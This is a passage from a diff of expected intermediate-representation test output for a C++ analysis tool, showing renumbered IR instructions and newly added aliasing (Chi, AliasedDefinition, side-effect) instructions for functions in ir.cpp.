m0_18 +# 381| m0_20(int) = Store : r0_7, r0_17 +# 380| r0_21(glval) = VariableAddress[#return] : +# 380| v0_22(void) = ReturnValue : r0_21, m0_20 +# 380| v0_23(void) = UnmodeledUse : mu* +# 380| v0_24(void) = ExitFunction : # 384| Switch(int) -> void # 384| Block 0 # 384| v0_0(void) = EnterFunction : -# 384| mu0_1(unknown) = UnmodeledDefinition : -# 384| r0_2(glval) = VariableAddress[x] : -# 384| m0_3(int) = InitializeParameter[x] : r0_2 -# 385| r0_4(glval) = VariableAddress[y] : -# 385| m0_5(int) = Uninitialized : r0_4 -# 386| r0_6(glval) = VariableAddress[x] : -# 386| r0_7(int) = Load : r0_6, m0_3 -# 386| v0_8(void) = Switch : r0_7 -#-----| Case[-1] -> Block 2 -#-----| Case[1] -> Block 3 -#-----| Case[2] -> Block 4 -#-----| Case[3] -> Block 5 -#-----| Case[4] -> Block 6 -#-----| Default -> Block 7 +# 384| m0_1(unknown) = AliasedDefinition : +# 384| mu0_2(unknown) = UnmodeledDefinition : +# 384| r0_3(glval) = VariableAddress[x] : +# 384| m0_4(int) = InitializeParameter[x] : r0_3 +# 385| r0_5(glval) = VariableAddress[y] : +# 385| m0_6(int) = Uninitialized[y] : r0_5 +# 386| r0_7(glval) = VariableAddress[x] : +# 386| r0_8(int) = Load : r0_7, m0_4 +# 386| v0_9(void) = Switch : r0_8 +#-----| Case[-1] -> Block 1 +#-----| Case[1] -> Block 2 +#-----| Case[2] -> Block 3 +#-----| Case[3] -> Block 4 +#-----| Case[4] -> Block 5 +#-----| Default -> Block 6 -# 387| Block 1 -# 387| r1_0(int) = Constant[1234] : -# 387| r1_1(glval) = VariableAddress[y] : -# 387| m1_2(int) = Store : r1_1, r1_0 -#-----| Goto -> Block 2 +# 389| Block 1 +# 389| v1_0(void) = NoOp : +# 390| r1_1(int) = Constant[-1] : +# 390| r1_2(glval) = VariableAddress[y] : +# 390| m1_3(int) = Store : r1_2, r1_1 +# 391| v1_4(void) = NoOp : +#-----| Goto -> Block 7 -# 389| Block 2 -# 389| v2_0(void) = NoOp : -# 390| r2_1(int) = Constant[-1] : -# 390| r2_2(glval) = VariableAddress[y] : -# 390| m2_3(int) = Store : r2_2, r2_1 -# 391| v2_4(void) = NoOp : -#-----| Goto -> Block 9 +# 393| Block 2 +# 393| v2_0(void) = NoOp : +#-----| Goto -> Block 3 -# 393| Block 3 -# 393| v3_0(void) = NoOp : -#-----| Goto -> Block 4 +# 394| Block 3 +# 394| v3_0(void) = NoOp : +# 395| r3_1(int) = Constant[1] : +# 395| r3_2(glval) = VariableAddress[y] : +# 395| m3_3(int) = Store : r3_2, r3_1 +# 396| v3_4(void) = NoOp : +#-----| Goto -> Block 7 -# 394| Block 4 -# 394| v4_0(void) = NoOp : -# 395| r4_1(int) = Constant[1] : -# 395| r4_2(glval) = VariableAddress[y] : -# 395| m4_3(int) = Store : r4_2, r4_1 -# 396| v4_4(void) = NoOp : -#-----| Goto -> Block 9 +# 398| Block 4 +# 398| v4_0(void) = NoOp : +# 399| r4_1(int) = Constant[3] : +# 399| r4_2(glval) = VariableAddress[y] : +# 399| m4_3(int) = Store : r4_2, r4_1 +#-----| Goto -> Block 5 -# 398| Block 5 -# 398| v5_0(void) = NoOp : -# 399| r5_1(int) = Constant[3] : -# 399| r5_2(glval) = VariableAddress[y] : -# 399| m5_3(int) = Store : r5_2, r5_1 -#-----| Goto -> Block 6 +# 400| Block 5 +# 400| v5_0(void) = NoOp : +# 401| r5_1(int) = Constant[4] : +# 401| r5_2(glval) = VariableAddress[y] : +# 401| m5_3(int) = Store : r5_2, r5_1 +# 402| v5_4(void) = NoOp : +#-----| Goto -> Block 7 -# 400| Block 6 -# 400| v6_0(void) = NoOp : -# 401| r6_1(int) = Constant[4] : -# 401| r6_2(glval) = VariableAddress[y] : -# 401| m6_3(int) = Store : r6_2, r6_1 -# 402| v6_4(void) = NoOp : -#-----| Goto -> Block 9 +# 404| Block 6 +# 404| v6_0(void) = NoOp : +# 405| r6_1(int) = Constant[0] : +# 405| r6_2(glval) = VariableAddress[y] : +# 405| m6_3(int) = Store : r6_2, r6_1 +# 406| v6_4(void) = NoOp : +#-----| Goto -> Block 7 -# 404| Block 7 -# 404| v7_0(void) = NoOp : -# 405| r7_1(int) = Constant[0] : -# 405| r7_2(glval) = VariableAddress[y] : -# 405| m7_3(int) = Store : r7_2, r7_1 -# 406| v7_4(void) = NoOp : -#-----| Goto -> Block 9 - -# 408| Block 8 -# 408| r8_0(int) = Constant[5678] : -# 408| r8_1(glval) = VariableAddress[y] : -# 408| m8_2(int) = Store : r8_1, r8_0 -#-----| Goto -> Block 9 - -# 409| Block 9 -# 409| v9_0(void) = NoOp : -# 410| v9_1(void) = NoOp : -# 384| v9_2(void) = ReturnVoid : -# 384| v9_3(void) = UnmodeledUse : mu* -# 384| v9_4(void) = ExitFunction : +# 409| Block 7 +# 409| v7_0(void) = NoOp : +# 410| v7_1(void) = NoOp : +# 384| v7_2(void) = ReturnVoid : +# 384| v7_3(void) = UnmodeledUse : mu* +# 384| v7_4(void) = ExitFunction : # 422| ReturnStruct(Point) -> Point # 422| Block 0 # 422| v0_0(void) = EnterFunction : -# 422| mu0_1(unknown) = UnmodeledDefinition : -# 422| r0_2(glval) = VariableAddress[pt] : -# 422| m0_3(Point) = InitializeParameter[pt] : r0_2 -# 423| r0_4(glval) = VariableAddress[#return] : -# 423| r0_5(glval) = VariableAddress[pt] : -# 423| r0_6(Point) = Load : r0_5, m0_3 -# 423| m0_7(Point) = Store : r0_4, r0_6 -# 422| r0_8(glval) = VariableAddress[#return] : -# 422| v0_9(void) = ReturnValue : r0_8, m0_7 -# 422| v0_10(void) = UnmodeledUse : mu* -# 422| v0_11(void) = ExitFunction : +# 422| m0_1(unknown) = AliasedDefinition : +# 422| mu0_2(unknown) = UnmodeledDefinition : +# 422| r0_3(glval) = VariableAddress[pt] : +# 422| m0_4(Point) = InitializeParameter[pt] : r0_3 +# 423| r0_5(glval) = VariableAddress[#return] : +# 423| r0_6(glval) = VariableAddress[pt] : +# 423| r0_7(Point) = Load : r0_6, m0_4 +# 423| m0_8(Point) = Store : r0_5, r0_7 +# 422| r0_9(glval) = VariableAddress[#return] : +# 422| v0_10(void) = ReturnValue : r0_9, m0_8 +# 422| v0_11(void) = UnmodeledUse : mu* +# 422| v0_12(void) = ExitFunction : # 426| FieldAccess() -> void # 426| Block 0 # 426| v0_0(void) = EnterFunction : -# 426| mu0_1(unknown) = UnmodeledDefinition : -# 427| r0_2(glval) = VariableAddress[pt] : -# 427| m0_3(Point) = Uninitialized : r0_2 -# 428| r0_4(int) = Constant[5] : -# 428| r0_5(glval) = VariableAddress[pt] : -# 428| r0_6(glval) = FieldAddress[x] : r0_5 -# 428| m0_7(int) = Store : r0_6, r0_4 -# 429| r0_8(glval) = VariableAddress[pt] : -# 429| r0_9(glval) = FieldAddress[x] : r0_8 -# 429| r0_10(int) = Load : r0_9, m0_7 -# 429| r0_11(glval) = VariableAddress[pt] : -# 429| r0_12(glval) = FieldAddress[y] : r0_11 -# 429| mu0_13(int) = Store : r0_12, r0_10 -# 430| r0_14(glval) = VariableAddress[p] : -# 430| r0_15(glval) = VariableAddress[pt] : -# 430| r0_16(glval) = FieldAddress[y] : r0_15 -# 430| m0_17(int *) = Store : r0_14, r0_16 -# 431| v0_18(void) = NoOp : -# 426| v0_19(void) = ReturnVoid : -# 426| v0_20(void) = UnmodeledUse : mu* -# 426| v0_21(void) = ExitFunction : +# 426| m0_1(unknown) = AliasedDefinition : +# 426| mu0_2(unknown) = UnmodeledDefinition : +# 427| r0_3(glval) = VariableAddress[pt] : +# 427| m0_4(Point) = Uninitialized[pt] : r0_3 +# 428| r0_5(int) = Constant[5] : +# 428| r0_6(glval) = VariableAddress[pt] : +# 428| r0_7(glval) = FieldAddress[x] : r0_6 +# 428| m0_8(int) = Store : r0_7, r0_5 +# 428| m0_9(Point) = Chi : m0_4, m0_8 +# 429| r0_10(glval) = VariableAddress[pt] : +# 429| r0_11(glval) = FieldAddress[x] : r0_10 +# 429| r0_12(int) = Load : r0_11, mu0_2 +# 429| r0_13(glval) = VariableAddress[pt] : +# 429| r0_14(glval) = FieldAddress[y] : r0_13 +# 429| m0_15(int) = Store : r0_14, r0_12 +# 429| m0_16(Point) = Chi : m0_9, m0_15 +# 430| r0_17(glval) = VariableAddress[p] : +# 430| r0_18(glval) = VariableAddress[pt] : +# 430| r0_19(glval) = FieldAddress[y] : r0_18 +# 430| m0_20(int *) = Store : r0_17, r0_19 +# 431| v0_21(void) = NoOp : +# 426| v0_22(void) = ReturnVoid : +# 426| v0_23(void) = UnmodeledUse : mu* +# 426| v0_24(void) = ExitFunction : # 433| LogicalOr(bool, bool) -> void # 433| Block 0 # 433| v0_0(void) = EnterFunction : -# 433| mu0_1(unknown) = UnmodeledDefinition : -# 433| r0_2(glval) = VariableAddress[a] : -# 433| m0_3(bool) = InitializeParameter[a] : r0_2 -# 433| r0_4(glval) = VariableAddress[b] : -# 433| m0_5(bool) = InitializeParameter[b] : r0_4 -# 434| r0_6(glval) = VariableAddress[x] : -# 434| m0_7(int) = Uninitialized : r0_6 -# 435| r0_8(glval) = VariableAddress[a] : -# 435| r0_9(bool) = Load : r0_8, m0_3 -# 435| v0_10(void) = ConditionalBranch : r0_9 +# 433| m0_1(unknown) = AliasedDefinition : +# 433| mu0_2(unknown) = UnmodeledDefinition : +# 433| r0_3(glval) = VariableAddress[a] : +# 433| m0_4(bool) = InitializeParameter[a] : r0_3 +# 433| r0_5(glval) = VariableAddress[b] : +# 433| m0_6(bool) = InitializeParameter[b] : r0_5 +# 434| r0_7(glval) = VariableAddress[x] : +# 434| m0_8(int) = Uninitialized[x] : r0_7 +# 435| r0_9(glval) = VariableAddress[a] : +# 435| r0_10(bool) = Load : r0_9, m0_4 +# 435| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 1 #-----| True -> Block 2 # 435| Block 1 # 435| r1_0(glval) = VariableAddress[b] : -# 435| r1_1(bool) = Load : r1_0, m0_5 +# 435| r1_1(bool) = Load : r1_0, m0_6 # 435| v1_2(void) = ConditionalBranch : r1_1 #-----| False -> Block 3 #-----| True -> Block 2 @@ -1806,14 +1825,14 @@ ir.cpp: # 439| Block 3 # 439| r3_0(glval) = VariableAddress[a] : -# 439| r3_1(bool) = Load : r3_0, m0_3 +# 439| r3_1(bool) = Load : r3_0, m0_4 # 439| v3_2(void) = ConditionalBranch : r3_1 #-----| False -> Block 4 #-----| True -> Block 5 # 439| Block 4 # 439| r4_0(glval) = VariableAddress[b] : -# 439| r4_1(bool) = Load : r4_0, m0_5 +# 439| r4_1(bool) = Load : r4_0, m0_6 # 439| v4_2(void) = ConditionalBranch : r4_1 #-----| False -> Block 6 #-----| True -> Block 5 @@ -1839,22 +1858,23 @@ ir.cpp: # 447| LogicalAnd(bool, bool) -> void # 447| Block 0 # 447| v0_0(void) = EnterFunction : -# 447| mu0_1(unknown) = UnmodeledDefinition : -# 447| r0_2(glval) = VariableAddress[a] : -# 447| m0_3(bool) = InitializeParameter[a] : r0_2 -# 447| r0_4(glval) = VariableAddress[b] : -# 447| m0_5(bool) = InitializeParameter[b] : r0_4 -# 448| r0_6(glval) = VariableAddress[x] : -# 448| m0_7(int) = Uninitialized : r0_6 -# 449| r0_8(glval) = VariableAddress[a] : -# 449| r0_9(bool) = Load : r0_8, m0_3 -# 449| v0_10(void) = ConditionalBranch : r0_9 +# 447| m0_1(unknown) = AliasedDefinition : +# 447| mu0_2(unknown) = UnmodeledDefinition : +# 447| r0_3(glval) = VariableAddress[a] : +# 447| m0_4(bool) = InitializeParameter[a] : r0_3 +# 447| r0_5(glval) = VariableAddress[b] : +# 447| m0_6(bool) = InitializeParameter[b] : r0_5 +# 448| r0_7(glval) = VariableAddress[x] : +# 448| m0_8(int) = Uninitialized[x] : r0_7 +# 449| r0_9(glval) = VariableAddress[a] : +# 449| r0_10(bool) = Load : r0_9, m0_4 +# 449| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 3 #-----| True -> Block 1 # 449| Block 1 # 449| r1_0(glval) = VariableAddress[b] : -# 449| r1_1(bool) = Load : r1_0, m0_5 +# 449| r1_1(bool) = Load : r1_0, m0_6 # 449| v1_2(void) = ConditionalBranch : r1_1 #-----| False -> Block 3 #-----| True -> Block 2 @@ -1867,14 +1887,14 @@ ir.cpp: # 453| Block 3 # 453| r3_0(glval) = VariableAddress[a] : -# 453| r3_1(bool) = Load : r3_0, m0_3 +# 453| r3_1(bool) = Load : r3_0, m0_4 # 453| v3_2(void) = ConditionalBranch : r3_1 #-----| False -> Block 6 #-----| True -> Block 4 # 453| Block 4 # 453| r4_0(glval) = VariableAddress[b] : -# 453| r4_1(bool) = Load : r4_0, m0_5 +# 453| r4_1(bool) = Load : r4_0, m0_6 # 453| v4_2(void) = ConditionalBranch : r4_1 #-----| False -> Block 6 #-----| True -> Block 5 @@ -1900,16 +1920,17 @@ ir.cpp: # 461| LogicalNot(bool, bool) -> void # 461| Block 0 # 461| v0_0(void) = EnterFunction : -# 461| mu0_1(unknown) = UnmodeledDefinition : -# 461| r0_2(glval) = VariableAddress[a] : -# 461| m0_3(bool) = InitializeParameter[a] : r0_2 -# 461| r0_4(glval) = VariableAddress[b] : -# 461| m0_5(bool) = InitializeParameter[b] : r0_4 -# 462| r0_6(glval) = VariableAddress[x] : -# 462| m0_7(int) = Uninitialized : r0_6 -# 463| r0_8(glval) = VariableAddress[a] : -# 463| r0_9(bool) = Load : r0_8, m0_3 -# 463| v0_10(void) = ConditionalBranch : r0_9 +# 461| m0_1(unknown) = AliasedDefinition : +# 461| mu0_2(unknown) = UnmodeledDefinition : +# 461| r0_3(glval) = VariableAddress[a] : +# 461| m0_4(bool) = InitializeParameter[a] : r0_3 +# 461| r0_5(glval) = VariableAddress[b] : +# 461| m0_6(bool) = InitializeParameter[b] : r0_5 +# 462| r0_7(glval) = VariableAddress[x] : +# 462| m0_8(int) = Uninitialized[x] : r0_7 +# 463| r0_9(glval) = VariableAddress[a] : +# 463| r0_10(bool) = Load : r0_9, m0_4 +# 463| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 1 #-----| True -> Block 2 @@ -1921,14 +1942,14 @@ ir.cpp: # 467| Block 2 # 467| r2_0(glval) = VariableAddress[a] : -# 467| r2_1(bool) = Load : r2_0, m0_3 +# 467| r2_1(bool) = Load : r2_0, m0_4 # 467| v2_2(void) = ConditionalBranch : r2_1 #-----| False -> Block 4 #-----| True -> Block 3 # 467| Block 3 # 467| r3_0(glval) = VariableAddress[b] : -# 467| r3_1(bool) = Load : r3_0, m0_5 +# 467| r3_1(bool) = Load : r3_0, m0_6 # 467| v3_2(void) = ConditionalBranch : r3_1 #-----| False -> Block 4 #-----| True -> Block 5 @@ -1954,22 +1975,23 @@ ir.cpp: # 475| ConditionValues(bool, bool) -> void # 475| Block 0 # 475| v0_0(void) = EnterFunction : -# 475| mu0_1(unknown) = UnmodeledDefinition : -# 475| r0_2(glval) = VariableAddress[a] : -# 475| m0_3(bool) = InitializeParameter[a] : r0_2 -# 475| r0_4(glval) = VariableAddress[b] : -# 475| m0_5(bool) = InitializeParameter[b] : r0_4 -# 476| r0_6(glval) = VariableAddress[x] : -# 476| m0_7(bool) = Uninitialized : r0_6 -# 477| r0_8(glval) = VariableAddress[a] : -# 477| r0_9(bool) = Load : r0_8, m0_3 -# 477| v0_10(void) = ConditionalBranch : r0_9 +# 475| m0_1(unknown) = AliasedDefinition : +# 475| mu0_2(unknown) = UnmodeledDefinition : +# 475| r0_3(glval) = VariableAddress[a] : +# 475| m0_4(bool) = InitializeParameter[a] : r0_3 +# 475| r0_5(glval) = VariableAddress[b] : +# 475| m0_6(bool) = InitializeParameter[b] : r0_5 +# 476| r0_7(glval) = VariableAddress[x] : +# 476| m0_8(bool) = Uninitialized[x] : r0_7 +# 477| r0_9(glval) = VariableAddress[a] : +# 477| r0_10(bool) = Load : r0_9, m0_4 +# 477| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 10 #-----| True -> Block 1 # 477| Block 1 # 477| r1_0(glval) = VariableAddress[b] : -# 477| r1_1(bool) = Load : r1_0, m0_5 +# 477| r1_1(bool) = Load : r1_0, m0_6 # 477| v1_2(void) = ConditionalBranch : r1_1 #-----| False -> Block 10 #-----| True -> Block 12 @@ -1987,7 +2009,7 @@ ir.cpp: # 478| r3_3(glval) = VariableAddress[x] : # 478| m3_4(bool) = Store : r3_3, r3_2 # 479| r3_5(glval) = VariableAddress[a] : -# 479| r3_6(bool) = Load : r3_5, m0_3 +# 479| r3_6(bool) = Load : r3_5, m0_4 # 479| v3_7(void) = ConditionalBranch : r3_6 #-----| False -> Block 9 #-----| True -> Block 8 @@ -2000,7 +2022,7 @@ ir.cpp: # 478| Block 5 # 478| r5_0(glval) = VariableAddress[b] : -# 478| r5_1(bool) = Load : r5_0, m0_5 +# 478| r5_1(bool) = Load : r5_0, m0_6 # 478| v5_2(void) = ConditionalBranch : r5_1 #-----| False -> Block 2 #-----| True -> Block 4 @@ -2031,7 +2053,7 @@ ir.cpp: # 479| Block 9 # 479| r9_0(glval) = VariableAddress[b] : -# 479| r9_1(bool) = Load : r9_0, m0_5 +# 479| r9_1(bool) = Load : r9_0, m0_6 # 479| v9_2(void) = ConditionalBranch : r9_1 #-----| False -> Block 6 #-----| True -> Block 8 @@ -2049,7 +2071,7 @@ ir.cpp: # 477| r11_3(glval) = VariableAddress[x] : # 477| m11_4(bool) = Store : r11_3, r11_2 # 478| r11_5(glval) = VariableAddress[a] : -# 478| r11_6(bool) = Load : r11_5, m0_3 +# 478| r11_6(bool) = Load : r11_5, m0_4 # 478| v11_7(void) = ConditionalBranch : r11_6 #-----| False -> Block 5 #-----| True -> Block 4 @@ -2062,31 +2084,32 @@ ir.cpp: # 482| Conditional(bool, int, int) -> void # 482| Block 0 -# 482| v0_0(void) = EnterFunction : -# 482| mu0_1(unknown) = UnmodeledDefinition : -# 482| r0_2(glval) = VariableAddress[a] : -# 482| m0_3(bool) = InitializeParameter[a] : r0_2 -# 482| r0_4(glval) = VariableAddress[x] : -# 482| m0_5(int) = InitializeParameter[x] : r0_4 -# 482| r0_6(glval) = VariableAddress[y] : -# 482| m0_7(int) = InitializeParameter[y] : r0_6 -# 483| r0_8(glval) = VariableAddress[z] : -# 483| r0_9(glval) = VariableAddress[a] : -# 483| r0_10(bool) = Load : r0_9, m0_3 -# 483| v0_11(void) = ConditionalBranch : r0_10 +# 482| v0_0(void) = EnterFunction : +# 482| m0_1(unknown) = AliasedDefinition : +# 482| mu0_2(unknown) = UnmodeledDefinition : +# 482| r0_3(glval) = VariableAddress[a] : +# 482| m0_4(bool) = InitializeParameter[a] : r0_3 +# 482| r0_5(glval) = VariableAddress[x] : +# 482| m0_6(int) = InitializeParameter[x] : r0_5 +# 482| r0_7(glval) = VariableAddress[y] : +# 482| m0_8(int) = InitializeParameter[y] : r0_7 +# 483| r0_9(glval) = VariableAddress[z] : +# 483| r0_10(glval) = VariableAddress[a] : +# 483| r0_11(bool) = Load : r0_10, m0_4 +# 483| v0_12(void) = ConditionalBranch : r0_11 #-----| False -> Block 2 #-----| True -> Block 1 # 483| Block 1 # 483| r1_0(glval) = VariableAddress[x] : -# 483| r1_1(int) = Load : r1_0, m0_5 +# 483| r1_1(int) = Load : r1_0, m0_6 # 483| r1_2(glval) = VariableAddress[#temp483:13] : # 483| m1_3(int) = Store : r1_2, r1_1 #-----| Goto -> Block 3 # 483| Block 2 # 483| r2_0(glval) = VariableAddress[y] : -# 483| r2_1(int) = Load : r2_0, m0_7 +# 483| r2_1(int) = Load : r2_0, m0_8 # 483| r2_2(glval) = VariableAddress[#temp483:13] : # 483| m2_3(int) = Store : r2_2, r2_1 #-----| Goto -> Block 3 @@ -2095,7 +2118,7 @@ ir.cpp: # 483| m3_0(int) = Phi : from 1:m1_3, from 2:m2_3 # 483| r3_1(glval) = VariableAddress[#temp483:13] : # 483| r3_2(int) = Load : r3_1, m3_0 -# 483| m3_3(int) = Store : r0_8, r3_2 +# 483| m3_3(int) = Store : r0_9, r3_2 # 484| v3_4(void) = NoOp : # 482| v3_5(void) = ReturnVoid : # 482| v3_6(void) = UnmodeledUse : mu* @@ -2103,18 +2126,21 @@ ir.cpp: # 486| Conditional_LValue(bool) -> void # 486| Block 0 -# 486| v0_0(void) = EnterFunction : -# 486| mu0_1(unknown) = UnmodeledDefinition : -# 486| r0_2(glval) = VariableAddress[a] : -# 486| m0_3(bool) = InitializeParameter[a] : r0_2 -# 487| r0_4(glval) = VariableAddress[x] : -# 487| mu0_5(int) = Uninitialized : r0_4 -# 488| r0_6(glval) = VariableAddress[y] : -# 488| mu0_7(int) = Uninitialized : r0_6 -# 489| r0_8(int) = Constant[5] : -# 489| r0_9(glval) = VariableAddress[a] : -# 489| r0_10(bool) = Load : r0_9, m0_3 -# 489| v0_11(void) = ConditionalBranch : r0_10 +# 486| v0_0(void) = EnterFunction : +# 486| m0_1(unknown) = AliasedDefinition : +# 486| mu0_2(unknown) = UnmodeledDefinition : +# 486| r0_3(glval) = VariableAddress[a] : +# 486| m0_4(bool) = InitializeParameter[a] : r0_3 +# 487| r0_5(glval) = VariableAddress[x] : +# 487| m0_6(int) = Uninitialized[x] : r0_5 +# 487| m0_7(unknown) = Chi : m0_1, m0_6 +# 488| r0_8(glval) = VariableAddress[y] : +# 488| m0_9(int) = Uninitialized[y] : r0_8 +# 488| m0_10(unknown) = Chi : m0_7, m0_9 +# 489| r0_11(int) = Constant[5] : +# 489| r0_12(glval) = VariableAddress[a] : +# 489| r0_13(bool) = Load : r0_12, m0_4 +# 489| v0_14(void) = ConditionalBranch : r0_13 #-----| False -> Block 3 #-----| True -> Block 2 @@ -2122,11 +2148,12 @@ ir.cpp: # 489| m1_0(int) = Phi : from 2:m2_2, from 3:m3_2 # 489| r1_1(glval) = VariableAddress[#temp489:6] : # 489| r1_2(glval) = Load : r1_1, m1_0 -# 489| mu1_3(int) = Store : r1_2, r0_8 -# 490| v1_4(void) = NoOp : -# 486| v1_5(void) = ReturnVoid : -# 486| v1_6(void) = UnmodeledUse : mu* -# 486| v1_7(void) = ExitFunction : +# 489| m1_3(int) = Store : r1_2, r0_11 +# 489| m1_4(unknown) = Chi : m0_10, m1_3 +# 490| v1_5(void) = NoOp : +# 486| v1_6(void) = ReturnVoid : +# 486| v1_7(void) = UnmodeledUse : mu* +# 486| v1_8(void) = ExitFunction : # 489| Block 2 # 489| r2_0(glval) = VariableAddress[x] : @@ -2143,12 +2170,13 @@ ir.cpp: # 492| Conditional_Void(bool) -> void # 492| Block 0 # 492| v0_0(void) = EnterFunction : -# 492| mu0_1(unknown) = UnmodeledDefinition : -# 492| r0_2(glval) = VariableAddress[a] : -# 492| m0_3(bool) = InitializeParameter[a] : r0_2 -# 493| r0_4(glval) = VariableAddress[a] : -# 493| r0_5(bool) = Load : r0_4, m0_3 -# 493| v0_6(void) = ConditionalBranch : r0_5 +# 492| m0_1(unknown) = AliasedDefinition : +# 492| mu0_2(unknown) = UnmodeledDefinition : +# 492| r0_3(glval) = VariableAddress[a] : +# 492| m0_4(bool) = InitializeParameter[a] : r0_3 +# 493| r0_5(glval) = VariableAddress[a] : +# 493| r0_6(bool) = Load : r0_5, m0_4 +# 493| v0_7(void) = ConditionalBranch : r0_6 #-----| False -> Block 3 #-----| True -> Block 2 @@ -2161,238 +2189,276 @@ ir.cpp: # 493| Block 2 # 493| r2_0(glval) = FunctionAddress[VoidFunc] : # 493| v2_1(void) = Call : r2_0 +# 493| m2_2(unknown) = ^CallSideEffect : m0_1 +# 493| m2_3(unknown) = Chi : m0_1, m2_2 #-----| Goto -> Block 1 # 493| Block 3 # 493| r3_0(glval) = FunctionAddress[VoidFunc] : # 493| v3_1(void) = Call : r3_0 +# 493| m3_2(unknown) = ^CallSideEffect : m0_1 +# 493| m3_3(unknown) = Chi : m0_1, m3_2 #-----| Goto -> Block 1 # 496| Nullptr() -> void # 496| Block 0 # 496| v0_0(void) = EnterFunction : -# 496| mu0_1(unknown) = UnmodeledDefinition : -# 497| r0_2(glval) = VariableAddress[p] : -# 497| r0_3(int *) = Constant[0] : -# 497| m0_4(int *) = Store : r0_2, r0_3 -# 498| r0_5(glval) = VariableAddress[q] : -# 498| r0_6(int *) = Constant[0] : -# 498| m0_7(int *) = Store : r0_5, r0_6 -# 499| r0_8(int *) = Constant[0] : -# 499| r0_9(glval) = VariableAddress[p] : -# 499| m0_10(int *) = Store : r0_9, r0_8 -# 500| r0_11(int *) = Constant[0] : -# 500| r0_12(glval) = VariableAddress[q] : -# 500| m0_13(int *) = Store : r0_12, r0_11 -# 501| v0_14(void) = NoOp : -# 496| v0_15(void) = ReturnVoid : -# 496| v0_16(void) = UnmodeledUse : mu* -# 496| v0_17(void) = ExitFunction : +# 496| m0_1(unknown) = AliasedDefinition : +# 496| mu0_2(unknown) = UnmodeledDefinition : +# 497| r0_3(glval) = VariableAddress[p] : +# 497| r0_4(int *) = Constant[0] : +# 497| m0_5(int *) = Store : r0_3, r0_4 +# 498| r0_6(glval) = VariableAddress[q] : +# 498| r0_7(int *) = Constant[0] : +# 498| m0_8(int *) = Store : r0_6, r0_7 +# 499| r0_9(int *) = Constant[0] : +# 499| r0_10(glval) = VariableAddress[p] : +# 499| m0_11(int *) = Store : r0_10, r0_9 +# 500| r0_12(int *) = Constant[0] : +# 500| r0_13(glval) = VariableAddress[q] : +# 500| m0_14(int *) = Store : r0_13, r0_12 +# 501| v0_15(void) = NoOp : +# 496| v0_16(void) = ReturnVoid : +# 496| v0_17(void) = UnmodeledUse : mu* +# 496| v0_18(void) = ExitFunction : # 503| InitList(int, float) -> void # 503| Block 0 # 503| v0_0(void) = EnterFunction : -# 503| mu0_1(unknown) = UnmodeledDefinition : -# 503| r0_2(glval) = VariableAddress[x] : -# 503| m0_3(int) = InitializeParameter[x] : r0_2 -# 503| r0_4(glval) = VariableAddress[f] : -# 503| m0_5(float) = InitializeParameter[f] : r0_4 -# 504| r0_6(glval) = VariableAddress[pt1] : -# 504| m0_7(Point) = Uninitialized : r0_6 -# 504| r0_8(glval) = FieldAddress[x] : r0_6 -# 504| r0_9(glval) = VariableAddress[x] : -# 504| r0_10(int) = Load : r0_9, m0_3 -# 504| m0_11(int) = Store : r0_8, r0_10 -# 504| r0_12(glval) = FieldAddress[y] : r0_6 -# 504| r0_13(glval) = VariableAddress[f] : -# 504| r0_14(float) = Load : r0_13, m0_5 -# 504| r0_15(int) = Convert : r0_14 -# 504| mu0_16(int) = Store : r0_12, r0_15 -# 505| r0_17(glval) = VariableAddress[pt2] : -# 505| m0_18(Point) = Uninitialized : r0_17 -# 505| r0_19(glval) = FieldAddress[x] : r0_17 -# 505| r0_20(glval) = VariableAddress[x] : -# 505| r0_21(int) = Load : r0_20, m0_3 -# 505| m0_22(int) = Store : r0_19, r0_21 -# 505| r0_23(glval) = FieldAddress[y] : r0_17 -# 505| r0_24(int) = Constant[0] : -# 505| mu0_25(int) = Store : r0_23, r0_24 -# 506| r0_26(glval) = VariableAddress[pt3] : -# 506| m0_27(Point) = Uninitialized : r0_26 -# 506| r0_28(glval) = FieldAddress[x] : r0_26 -# 506| r0_29(int) = Constant[0] : -# 506| m0_30(int) = Store : r0_28, r0_29 -# 506| r0_31(glval) = FieldAddress[y] : r0_26 -# 506| r0_32(int) = Constant[0] : -# 506| mu0_33(int) = Store : r0_31, r0_32 -# 508| r0_34(glval) = VariableAddress[x1] : -# 508| r0_35(int) = Constant[1] : -# 508| m0_36(int) = Store : r0_34, r0_35 -# 509| r0_37(glval) = VariableAddress[x2] : -# 509| r0_38(int) = Constant[0] : -# 509| m0_39(int) = Store : r0_37, r0_38 -# 510| v0_40(void) = NoOp : -# 503| v0_41(void) = ReturnVoid : -# 503| v0_42(void) = UnmodeledUse : mu* -# 503| v0_43(void) = ExitFunction : +# 503| m0_1(unknown) = AliasedDefinition : +# 503| mu0_2(unknown) = UnmodeledDefinition : +# 503| r0_3(glval) = VariableAddress[x] : +# 503| m0_4(int) = InitializeParameter[x] : r0_3 +# 503| r0_5(glval) = VariableAddress[f] : +# 503| m0_6(float) = InitializeParameter[f] : r0_5 +# 504| r0_7(glval) = VariableAddress[pt1] : +# 504| m0_8(Point) = Uninitialized[pt1] : r0_7 +# 504| r0_9(glval) = FieldAddress[x] : r0_7 +# 504| r0_10(glval) = VariableAddress[x] : +# 504| r0_11(int) = Load : r0_10, m0_4 +# 504| m0_12(int) = Store : r0_9, r0_11 +# 504| m0_13(Point) = Chi : m0_8, m0_12 +# 504| r0_14(glval) = FieldAddress[y] : r0_7 +# 504| r0_15(glval) = VariableAddress[f] : +# 504| r0_16(float) = Load : r0_15, m0_6 +# 504| r0_17(int) = Convert : r0_16 +# 504| m0_18(int) = Store : r0_14, r0_17 +# 504| m0_19(Point) = Chi : m0_13, m0_18 +# 505| r0_20(glval) = VariableAddress[pt2] : +# 505| m0_21(Point) = Uninitialized[pt2] : r0_20 +# 505| r0_22(glval) = FieldAddress[x] : r0_20 +# 505| r0_23(glval) = VariableAddress[x] : +# 505| r0_24(int) = Load : r0_23, m0_4 +# 505| m0_25(int) = Store : r0_22, r0_24 +# 505| m0_26(Point) = Chi : m0_21, m0_25 +# 505| r0_27(glval) = FieldAddress[y] : r0_20 +# 505| r0_28(int) = Constant[0] : +# 505| m0_29(int) = Store : r0_27, r0_28 +# 505| m0_30(Point) = Chi : m0_26, m0_29 +# 506| r0_31(glval) = VariableAddress[pt3] : +# 506| m0_32(Point) = Uninitialized[pt3] : r0_31 +# 506| r0_33(glval) = FieldAddress[x] : r0_31 +# 506| 